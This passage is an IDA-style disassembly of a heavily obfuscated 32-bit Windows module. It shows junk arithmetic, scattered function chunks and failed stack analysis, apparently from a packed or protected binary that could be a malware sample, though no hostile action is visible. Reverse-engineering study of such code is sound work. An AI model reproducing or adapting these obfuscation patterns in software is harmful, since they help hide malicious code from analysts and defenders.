loc_100157F5: ; DATA XREF: sub_1001DD1D:loc_10018E33o mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100157F8: ; CODE XREF: sub_10017A58+DEBj push edx call sub_10013372 mov eax, 7DA6ACC0h push offset sub_1001384D jmp nullsub_216 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001580D: ; CODE XREF: sub_10015066+34ADj ; an.kk9rg:10018529j and eax, 757C4C29h xor eax, 0D7ADC231h add eax, 3827E254h xchg eax, [esp+0] jmp loc_1001801D ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- loc_10015827: ; CODE XREF: an.kk9rg:1001CADCj adc eax, 7FA5EAA6h ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001582D: ; CODE XREF: sub_10018066+4A65j add edi, 4EC56107h add edi, ebp add edi, 0D58E27EFh jmp loc_1001D0C5 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10015840: ; CODE XREF: sub_1001679F+Aj ; an.kk9rg:loc_10019229j call sub_10016A1B loc_10015845: ; CODE XREF: sub_10016B20:loc_100196A4j push ecx mov esp, ebp pop ebp mov eax, ds:dword_1001D744 jmp loc_10016378 ; END OF FUNCTION CHUNK FOR sub_1001679F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015855: ; CODE XREF: sub_100136D7+1238j jmp loc_10014D09 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001585B: ; CODE XREF: an.kk9rg:1001CF32j jmp nullsub_196 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015860 proc near ; CODE XREF: sub_100180C2+13Ep ; FUNCTION CHUNK AT 100167AF SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100167AF sub_10015860 endp ; =============== S U B R O U T I N E ======================================= sub_10015868 proc near ; DATA XREF: sub_1001D913+1o call sub_1001DBEB jmp loc_1001C89F sub_10015868 endp ; --------------------------------------------------------------------------- mov eax, [ebp-4] push eax push eax call sub_1001924A ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001587C: ; CODE XREF: sub_100141F5+6810j jmp loc_1001C997 ; END OF FUNCTION CHUNK FOR sub_100141F5 ; --------------------------------------------------------------------------- loc_10015881: ; CODE XREF: an.kk9rg:loc_10015E4Dj xor ebp, 0C23D37AAh sub edx, ebp push edx jmp loc_1001B909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001588F: ; CODE XREF: sub_10015DB9:loc_10019658j js loc_10015B33 sub al, 99h push 804E93ADh pop edx and edx, 1C16387Eh call sub_1001B0B1 loc_100158A8: ; CODE XREF: sub_1001A4DF-2192j jmp loc_1001A45C ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100158AD: ; CODE XREF: sub_10015131+10j mov [ebp-8], eax mov eax, [ebp+8] push eax mov eax, [ebp+8] call sub_1001DDD5 loc_100158BC: ; CODE XREF: sub_10017803-43j jmp loc_100169B0 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- loc_100158C1: ; CODE XREF: an.kk9rg:10014AAAj jmp loc_1001A297 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100158C6: ; CODE XREF: sub_1001C2D8:loc_10015E68j ; sub_10017803+6229j push edi push eax sbb edi, 0B99B4A30h jmp loc_10015D8F ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_100158D3: ; CODE XREF: sub_10015E3A-12D2j add eax, 508DBBEDh sub ebx, ebp ; END OF FUNCTION CHUNK FOR sub_10015E3A ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100158DB: ; CODE XREF: sub_1001564A-BDFj ; sub_1001564A+8B9j ... push offset loc_1001CB75 jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_1001564A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_100158E6: ; CODE XREF: sub_10015469:loc_10014C08j ; sub_1001664C:loc_10016F99j ror eax, 1Ch mov ds:dword_1001B724, eax retn ; --------------------------------------------------------------------------- loc_100158F0: ; CODE XREF: sub_10015469:loc_100160EAj ; sub_1001664C:loc_1001BAD3j rol eax, 1Ch push eax call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_10015469 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100158FA: ; CODE XREF: sub_1001A97E+1D5Aj jmp loc_1001CDAD ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_10015900: ; CODE XREF: sub_1001D4C9-C00j jmp loc_1001D4D6 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015905: ; CODE XREF: sub_10013389:loc_100133C4j ; sub_1001DB5F:loc_100187B1j push offset loc_100177FF jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001590F proc near ; DATA XREF: sub_1001B4CC-60D4o ; FUNCTION CHUNK AT 1001382B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AAEC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001D9F7 SIZE 00000006 BYTES xor eax, 0FBC37E89h add eax, ebp push edi push 1172A34h pop edi add edi, 20D89543h jns loc_1001AAEC sub_1001590F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001592A: ; CODE XREF: sub_1001498A:loc_1001AA94j mov ebp, esp add esp, 0FFFFFFF8h call sub_1001DE48 ; END OF FUNCTION CHUNK FOR sub_1001498A ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10015934: ; CODE XREF: sub_100138FD+449Bj jmp loc_1001D0B6 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10015939: ; CODE XREF: sub_10013044+18j ; an.kk9rg:10014E7Fj jmp loc_100137BD ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- sbb eax, edx jmp loc_100142F2 ; =============== S U B R O U T I N E ======================================= sub_10015945 proc near ; CODE XREF: sub_10015945:loc_100130DAp ; an.kk9rg:10019153j ; FUNCTION CHUNK AT 100130DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100180B7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AA2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C99A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001D55E SIZE 00000017 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_100180B7 mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_100161D7 sub_10015945 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax push 0A0BFFF1Bh pop eax add eax, 96C20944h rol eax, 16h or eax, 9D30CC3Bh add eax, 70035CF4h xchg eax, [esp] jmp nullsub_218 ; =============== S U B R O U T I N E ======================================= sub_10015988 proc near ; CODE XREF: sub_10013061+646Bp ; an.kk9rg:1001A73Bj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100148FC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016E76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016F4F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017406 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001811B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001866F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10018C1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019468 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019C71 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A156 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A665 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B8FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C85B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D1D0 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi mov edx, [edx] loc_1001598E: ; CODE XREF: sub_10019E2E:loc_10014EFFj imul byte ptr [edx] jmp loc_10016F4F sub_10015988 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015995 proc near ; CODE XREF: an.kk9rg:100139B1j ; sub_1001B2E2:loc_10017826p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10014D45 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100153B5 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10018005 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10018329 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019FC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5AA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001AA3A SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx pop ecx jmp loc_10019FC9 sub_10015995 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001599F: ; CODE XREF: sub_10015B5D:loc_1001D54Fj test byte ptr [ebp-8], 2 jmp loc_1001C9B1 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_100159A8 proc near ; CODE XREF: sub_1001492C+B89p ; an.kk9rg:1001CB4Cj xchg ecx, [esp+0] pop ecx ror eax, 14h mov ds:dword_100185DC, eax retn sub_100159A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_100159B6: ; CODE XREF: sub_1001603C+2859j jmp loc_100151D8 ; END OF FUNCTION CHUNK FOR sub_1001603C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_100159BB: ; CODE XREF: sub_1001C67F-50EAj jmp loc_100143D7 ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100159C0: ; CODE XREF: sub_10013999+7D31j rol eax, 14h push edi jmp loc_100148DF ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_100159C9: ; DATA XREF: sub_100144F5-9B8o add eax, [ebp-4] ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100159CC: ; CODE XREF: sub_10015086+1j xor edx, edx push edx push eax mov eax, [ebp-18h] jmp loc_10013B61 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_100159D8: ; CODE XREF: an.kk9rg:loc_100174B0j ; sub_100136D7+8119j and ecx, 4977AA6Eh rol ecx, 1Dh add ecx, 0C7D92B0Bh call sub_10016573 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100159EC: ; CODE XREF: sub_1001A6F7-2D13j sub al, 99h push 0FF6ECE1Ah pop edx xor edx, 38D5F424h rol edx, 1Ah loc_100159FD: ; CODE XREF: sub_1001893F:loc_10016D34j jmp loc_10013AD6 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10015A02: ; CODE XREF: sub_1001893F:loc_1001C6F3j or edi, 4F4521F4h xor edi, 0F751DD4Ah add eax, edi pop edi loc_10015A11: ; CODE XREF: an.kk9rg:loc_1001B2DCj jmp loc_1001A498 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10015A16: ; CODE XREF: an.kk9rg:100190C4j pushf push 0AAD5613Ah pop esi and esi, 5758475Ah xor esi, 3AB5248h jmp loc_100176DF ; --------------------------------------------------------------------------- loc_10015A2E: ; DATA XREF: sub_10013389+A2o or eax, eax ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10015A30: ; CODE XREF: sub_10013688:loc_1001C38Fj jnz loc_10015DD3 jmp loc_10014C16 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10015A3B: ; CODE XREF: sub_10016451-32BEj add edx, 5C1E932Ah xchg edx, [esp+8+var_8] jmp sub_100174F4 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- loc_10015A49: ; CODE XREF: an.kk9rg:1001BB82j push edx ; =============== S U B R O U T I N E ======================================= sub_10015A4A proc near ; CODE XREF: sub_10019CD1+Ep ; FUNCTION CHUNK AT 10013B89 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001D2C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jz loc_10013B95 mov eax, ds:dword_10019654 mov eax, [eax] loc_10015A5B: ; CODE XREF: an.kk9rg:loc_1001A325j jmp loc_1001D2C5 sub_10015A4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015A60 proc near ; DATA XREF: an.kk9rg:10015416o ; FUNCTION CHUNK AT 10019854 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7FC SIZE 0000001B BYTES mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax jmp loc_10019854 sub_10015A60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015A78: ; CODE XREF: an.kk9rg:10019513j mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_10017B08 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015A88: ; CODE XREF: sub_10019409+2872j add eax, 31E044BDh popf xchg eax, [esp-10h+arg_C] jmp loc_1001DBE6 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_10015A97: ; CODE XREF: sub_1001A6F7:loc_10013AD6j add edx, 0A0A7F8A3h add edx, ebp add edx, 64391A71h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C4A4 jmp loc_1001B01E ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- loc_10015AB6: ; CODE XREF: an.kk9rg:10016481j mov eax, 0B9726E5Ah push esi push 29B01E36h pop esi rol esi, 0Ch sub esi, 0A4D61C6Ch add esi, 0B2F42455h xchg esi, [esp] jmp sub_100181E1 ; --------------------------------------------------------------------------- loc_10015AD9: ; CODE XREF: an.kk9rg:1001644Cj add eax, 0F983725Ch or eax, 1DBD91F0h add eax, 0D767EE49h add eax, ebp jmp loc_10018640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10015AF2: ; CODE XREF: sub_1001504E+8BF6j jz loc_10017304 jmp loc_10018037 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- adc ebx, ebp jmp loc_1001AD1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10015B04: ; CODE XREF: sub_10018B4A-FEBj pop edi mov eax, [ebp+var_4] mov al, [eax] call sub_10015C77 loc_10015B0F: ; CODE XREF: sub_10016D66+6C3Cj jmp loc_10017F77 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- loc_10015B14: ; CODE XREF: an.kk9rg:1001A83Ej jmp locret_1001C674 ; --------------------------------------------------------------------------- loc_10015B19: ; CODE XREF: an.kk9rg:100167FCj not ebp ; =============== S U B R O U T I N E ======================================= sub_10015B1B proc near ; CODE XREF: sub_1001A606:loc_1001DA88p ; FUNCTION CHUNK AT 10013274 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10014E5F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10015B97 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10015CDA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019FD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BCA0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D476 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DCA2 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001BCA0 sub_10015B1B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10015B2A: ; CODE XREF: sub_100142E8+6402j xchg edx, ebp xor edx, edi jmp loc_1001372F ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10015B33: ; CODE XREF: sub_10015DB9:loc_1001588Fj sub al, 99h push 6FAC73A4h pop edx loc_10015B3B: ; CODE XREF: an.kk9rg:1001BA98j and edx, 0D917ACCEh or edx, 0D202D786h add edx, 2A632D51h jmp loc_10016855 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015B53: ; CODE XREF: an.kk9rg:10019CCCj jmp loc_1001A754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10015B58: ; CODE XREF: sub_1001620D+15j jmp loc_10016155 ; END OF FUNCTION CHUNK FOR sub_1001620D ; =============== S U B R O U T I N E ======================================= sub_10015B5D proc near ; CODE XREF: sub_100182A3p ; sub_10013389:loc_100182C9p ; FUNCTION CHUNK AT 1001309C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013161 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001377B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10014364 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10014758 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014872 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001599F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001660C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017175 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100177EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017866 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10018420 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 100186DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019808 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A202 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 1001ABCF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001AE2F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B5BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B973 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B9B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001BA12 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BAF4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C484 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C675 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB0A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001CC02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D060 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D2F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D54F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001D6EE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D843 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001D86E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001DB0F SIZE 0000001A BYTES mov eax, cs xor al, al loc_10015B61: ; CODE XREF: sub_1001767A:loc_100155C2j call sub_10018ABA loc_10015B66: ; CODE XREF: sub_1001A606+10DEj ; sub_100136D7:loc_1001D928j jmp loc_10014758 sub_10015B5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jno sub_1001ACEF pushf jmp sub_1001ADAE ; --------------------------------------------------------------------------- mov eax, 0F7C6D0F8h call sub_100181E1 mov ds:dword_10002040, eax lea eax, nullsub_160 jmp loc_1001807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10015B92: ; CODE XREF: sub_10015B1B-28A0j ; an.kk9rg:10013289j ... jmp loc_1001B6DA ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10015B97: ; CODE XREF: an.kk9rg:loc_1001C911j ; sub_10015B1B:loc_1001DCA2j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10015B9A: ; CODE XREF: sub_1001CB33-3A07j jmp loc_10015532 ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015B9F: ; CODE XREF: sub_10013389+3CF9j jmp loc_1001AC47 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_10015BA4: ; CODE XREF: sub_100182D9-1D7Ej jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; =============== S U B R O U T I N E ======================================= sub_10015BA9 proc near ; CODE XREF: sub_10016323-2CD5p ; sub_1001453F+12j ; FUNCTION CHUNK AT 10019683 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C4E5 SIZE 00000005 BYTES push eax jmp loc_1001C4E5 sub_10015BA9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_10015BAF: ; CODE XREF: sub_1001BB72:loc_1001CE25j add eax, ebp add eax, 2739092Dh mov eax, [eax] mov al, [eax] jb loc_100188E0 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10015BC1: ; CODE XREF: sub_100193F2:loc_10018915j sub al, 99h mov edx, [ebp-4] jmp loc_1001973D ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_10015BCB: ; CODE XREF: an.kk9rg:loc_1001C466j push offset sub_1001909F jmp loc_1001D02E ; --------------------------------------------------------------------------- adc eax, ebx jmp sub_1001AB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10015BDC: ; CODE XREF: sub_10014CDF:loc_10016616j xor eax, 2FC29979h sub eax, ds:100000CAh add eax, 0BE6EF4Dh xchg eax, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10015BF7: ; CODE XREF: sub_1001A606+12j jmp loc_10014470 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; =============== S U B R O U T I N E ======================================= sub_10015BFC proc near ; CODE XREF: an.kk9rg:10015455p ; sub_1001564A+5395p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013895 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100157E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016313 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100176BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100179F6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10018711 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001A4FB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A937 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001A9B0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B25D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B428 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001B6B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D039 SIZE 00000005 BYTES jo sub_10017E49 push ebp mov ebp, esp push ebx mov ebx, ecx jmp loc_1001B25D sub_10015BFC endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015C0E: ; CODE XREF: an.kk9rg:10015DB3j jnb loc_10014F89 ; =============== S U B R O U T I N E ======================================= sub_10015C14 proc near ; CODE XREF: sub_1001B096-2591p ; FUNCTION CHUNK AT 100171BC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001889A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001A14F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001AD50 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add edx, 9A52CB1h mov edx, [edx] imul byte ptr [edx] call sub_10017CF8 loc_10015C27: ; CODE XREF: sub_1001679F-3051j jmp loc_1001A14F sub_10015C14 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015C2C: ; CODE XREF: sub_100132E5+6EB6j sub ecx, 0C3514C22h jb loc_100164D4 loc_10015C38: ; CODE XREF: sub_1001C380+Aj jmp loc_1001B52B ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10015C3D: ; CODE XREF: sub_100145ED+54F5j jmp loc_100136BD ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- loc_10015C42: ; CODE XREF: an.kk9rg:100198E1j jmp loc_1001C2CB ; --------------------------------------------------------------------------- test eax, 8E006F6Ch jmp loc_100168EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014092 loc_10015C52: ; CODE XREF: sub_10014092+Aj jz loc_1001D684 jmp loc_1001CB3E ; END OF FUNCTION CHUNK FOR sub_10014092 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015C5D: ; CODE XREF: sub_100132E5+8256j xor eax, 5B7DCE1Ch push offset loc_1001D81C jmp loc_10014075 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- mov ebp, 9D09513Eh jmp sub_1001D4E5 ; =============== S U B R O U T I N E ======================================= sub_10015C77 proc near ; CODE XREF: sub_10018B4A-3040p ; an.kk9rg:1001A7E9j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 1001648C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018760 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018C2F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001983D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C4C8 SIZE 00000007 BYTES xchg esi, [esp+0] pop esi jno loc_10013786 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10018C2A jmp loc_10018760 sub_10015C77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015C95 proc near ; DATA XREF: sub_1001357E+10o arg_0 = dword ptr 4 pop ecx xchg edi, [esp-4+arg_0] mov ebp, edi sub_10015C95 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_10015C9B: ; CODE XREF: sub_1001B3CA-BD6j pop edi jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10015CA1: ; CODE XREF: sub_10013310+3E47j adc ecx, eax jmp loc_10014C81 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015CA8: ; CODE XREF: sub_10013389+4Bj jl loc_10016FE6 ror ecx, 3 sbb edi, 0EEF4F980h xchg ebp, ecx jmp loc_10016FDE ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10015CBE proc near ; CODE XREF: sub_1001767A:loc_10016F14j ; FUNCTION CHUNK AT 1001CFFF SIZE 0000000C BYTES push ebp xor ecx, 0B3F0A0E0h not esi test edi, ebx jmp loc_1001CFFF sub_10015CBE endp ; --------------------------------------------------------------------------- loc_10015CCE: ; CODE XREF: an.kk9rg:loc_1001440Ej mov eax, ecx call sub_10017BF9 ; START OF FUNCTION CHUNK FOR sub_1001C26A 